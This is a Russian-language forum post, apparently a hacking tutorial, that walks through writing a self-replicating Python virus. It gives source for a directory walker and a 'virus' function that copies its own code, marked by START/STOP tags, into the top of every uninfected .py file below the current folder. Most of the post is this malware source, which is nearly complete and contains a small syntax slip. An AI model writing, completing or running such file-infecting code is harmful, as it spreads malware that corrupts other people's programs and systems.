Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.
На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.
Создадим три функции: сообщение, парсер, заражение.
Функция, которая сообщает об атаке:
Сразу вызовем ее, чтобы понять, что программа отработала:
Обход директорий похож на тот, что мы делали в шифровальщике.
Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).
Дальше функция, которая отвечает за саморепликацию.
Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.
На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.
Python:
import sys
import os
Функция, которая сообщает об атаке:
Код:
def code(void):
print("Infected")
Python:
code(None)
Python:
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
# Если нашли файл, проверяем его расширение
if os.path.isfile(path):
# Если расширение — py, вызываем virus
if (os.path.splitext(path)[1] == ".py"):
virus(path)
else:
pass
else:
# Если это каталог, заходим в него
walk(path)
Дальше функция, которая отвечает за саморепликацию.
Python:
def virus(python):
begin = "# START #\n"
end = "# STOP #\n"
# Читаем атакуемый файл, назовем его copy
with open(sys.argv[0], "r") as copy:
# Создаем флаг
k = 0
# Создаем переменную для кода вируса и добавляем пустую строку
virus_code = "\n"
# Построчно проходим заражаемый файл
for line in copy:
# Если находим маркер начала, поднимаем флаг
if line == begin:
k = 1
# Добавляем маркер в зараженный код
virus_code += begin
# Если мы прошли начало, но не дошли до конца, копируем строку
elif k == 1 and line != end:
virus_code += line
# Если дошли до конца, добавляем финальный маркер и выходим из цикла
elif line == end:
virus_code += end
break
else:
pass
# Снова читаем заражаемый файл
with open(python, "r") as file:
# Создаем переменную для исходного кода
original_code = ""
# Построчно копируем заражаемый код
for line in file:
original_code += line
# Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir
if line == begin:
vir = True
break
# Если маркера нет, опускаем флаг vir
else:
vir = False
# Если флаг vir опущен, пишем в файл вирус и исходный код
if not vir:
with open(python, "w" as paste:
paste.write(virus_code + "\n\n" + original_code)
else:
pass
Последнее редактирование модератором: